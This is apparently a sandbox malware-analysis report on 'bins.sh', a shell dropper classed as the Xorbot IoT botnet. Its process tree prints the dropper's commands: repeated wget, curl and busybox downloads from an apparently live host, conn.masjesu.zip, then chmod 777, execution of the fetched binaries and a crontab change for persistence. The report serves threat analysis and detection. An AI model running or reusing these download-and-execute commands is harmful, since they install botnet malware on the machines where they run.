Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23/01/2025, 00:56

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-bacabavpbl
  • SHA256 873c0bf88bb4a6c0f6fa73719af3038afdf97e0419f0779bfdf9bc56d296f5e5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2146) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 11 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:714
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:737
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:742
      • /bin/chmod
        chmod 777 QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        ./QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:744
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:746
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:747
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:748
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:749
            • /bin/rm
              rm QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
              2⤵
                PID:751
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                2⤵
                • System Network Configuration Discovery
                PID:754
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                2⤵
                • System Network Configuration Discovery
                PID:755
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:837
              • /bin/chmod
                chmod 777 eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                2⤵
                • File and Directory Permissions Modification
                PID:838
              • /tmp/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                ./eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                2⤵
                  PID:839
                • /bin/rm
                  rm eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                  2⤵
                    PID:841
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                    2⤵
                    • System Network Configuration Discovery
                    PID:842
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                    2⤵
                    • System Network Configuration Discovery
                    PID:843
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:844
                  • /bin/chmod
                    chmod 777 AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                    2⤵
                    • File and Directory Permissions Modification
                    PID:845
                  • /tmp/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                    ./AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                    2⤵
                      PID:847
                    • /bin/rm
                      rm AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                      2⤵
                        PID:850
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                        2⤵
                        • System Network Configuration Discovery
                        PID:851
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/9DbHs5qAUnecLFy2RjyKluaB3HLCOumWIC
                        2⤵
                        • System Network Configuration Discovery
                        PID:854

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                          • Path /tmp/AvJXnzHJkaHBfDnZx9dq2MHHwtaSPVT6kG
                          • Size 127KB
                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
                          • Path /tmp/QBaWL2CExAWR32dOoKKt3E4hWbAmSHjdji
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                          • Path /tmp/eutZTqaaEKofWKzYMJ3zkK0p9dF8zRxtPJ
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.hI3jA4
                          • Path /var/spool/cron/crontabs/tmp.hI3jA4
                          • Size 210B
                          • SHA256 4ccafab80b5bc1315257931620c03c25f98e57a901f2ae06ea55cf9b2d911668
                          • MD5 SHA1 SHA512
                          Submit Download